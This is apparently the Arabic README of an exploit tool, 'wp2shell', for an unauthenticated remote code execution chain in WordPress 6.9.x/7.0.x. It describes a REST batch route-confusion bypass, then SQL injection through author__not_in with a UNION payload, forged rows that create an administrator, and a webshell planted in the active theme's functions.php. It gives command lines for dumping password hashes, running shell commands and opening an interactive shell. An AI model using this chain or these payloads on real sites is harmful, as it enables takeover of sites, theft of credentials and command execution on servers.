
CVE-2026-63030 / wp2shell
سلسلة استغلال RCE في WordPress. دون مصادقة. CVSS 9.8.
| الفرع | الإصدارات المصابة | المُرقَّع |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
ثغرتان (CVE) متسلسلتان تؤديان إلى تنفيذ تعليمات برمجية عن بُعد دون مصادقة:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
| الخطوة | CVE | المتجه |
|---|---|---|
| 1 | CVE-2026-63030 | فهرس REST /batch/v1 يسبب عدم محاذاة تفصل التحقق عن الإرسال |
| 2 | CVE-2026-60137 | معامل author__not_in في WP_Query يتجاوز absint() عند تمريره كسلسلة نصية |
| 3 | — | UNION SELECT تزوّر صفوف wp_posts؛ oEmbed → customizer → wp_insert_user |
| 4 | — | المصادقة بصفة المسؤول المُنشأ حديثًا |
| 5 | — | محرر القوالب يحقن webshell محميًا برمز مميز داخل القالب النشط |
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
تقبل نقطة النهاية الدفعية في WordPress عند /?rest_route=/batch/v1 مصفوفة من الطلبات الفرعية. عندما يحتوي طلب فرعي على مسار غير قابل للتحليل (///)، تتم إضافة WP_Error إلى $validation ولكن ليس إلى $matches. بعد ذلك تقوم حلقة الإرسال بمزاوجة الطلب N مع المعالج N+1 — بحيث يتم إرسال طلب تم التحقق منه وفق مخطط (schema) معيّن إلى معالج مختلف.
يرسل الاستغلال دفعة متداخلة من 3 طبقات حيث تستخدم كل طبقة بادئة إزالة تزامن (desync primer) في الموضع 0 لإزاحة الفهارس. الطلب الأعمق — الذي تم التحقق منه كعنصر منشور واحد (GET /wp/v2/posts/999999) — يهبط على معالج المجموعة (posts->get_items()). وبما أن مخطط العنصر لا يعرّف author_exclude، فإن المعامل يمر دون التحقق منه.
يقوم get_items() بتعيين author_exclude → author__not_in ويمرره إلى WP_Query. عندما يكون author__not_in نصًا (وليس مصفوفة)، يتم تخطي كتلة array_map('absint', …). يهبط النص الخام مباشرةً في:
WHERE post_author NOT IN (<payload>)
الحمولة 0) UNION ALL SELECT …-- - تغلق قائمة NOT IN وتضيف SQL عشوائيًا.
يحتوي wp_posts في WordPress 7.0.x على 23 عمودًا بالضبط. من خلال حقن صف مُلفَّق عبر UNION ALL SELECT مع orderby=none (لتعطيل ORDER BY اللاحق) وper_page=500 (لإبقاء WP_Query في وضع الصف الكامل)، ينعكس عنوان المقال المُلفَّق — الذي يحمل علامة ||HEX|| — في استجابة REST. تستخدم جميع القيم النصية حرفيات MySQL السداسية عشرية (0x…) لتجنب مشكلات تهريب علامات الاقتباس عبر ترميز URL.
[embed] عبر UNION → ينشئ WordPress 3 صفوف oembed_cachewp_posts مُهيكلة عبر UNION لتشكيل سلسلة changeset الخاصة بالمُخصِّص[embed]، مما يُشغِّل WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()wp2_<random>) وكلمة مرور (Wp2!<random>)سجّل الدخول بصفتك المسؤول الجديد → استخرج nonce الخاص بمحرر القوالب → احقن webshell بلغة PHP محميًا برمز مميز في أعلى ملف functions.php الخاص بالقالب النشط → يمكن الوصول إليه عبر ?t=<token>&c=<command>.
wp_remote_post() قبل الحفظ. إذا تعذّر على الحاوية الوصول إلى نفسها عبر اسم المضيف، فسيُحظر تعديل القالب. استخدم --dump-users + تسجيل الدخول اليدوي في تلك الحالات.--check أولًا.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
هذه الأداة مخصصة لأغراض البحث الأمني المصرح به والأغراض التعليمية فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن صريح باختبارها. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.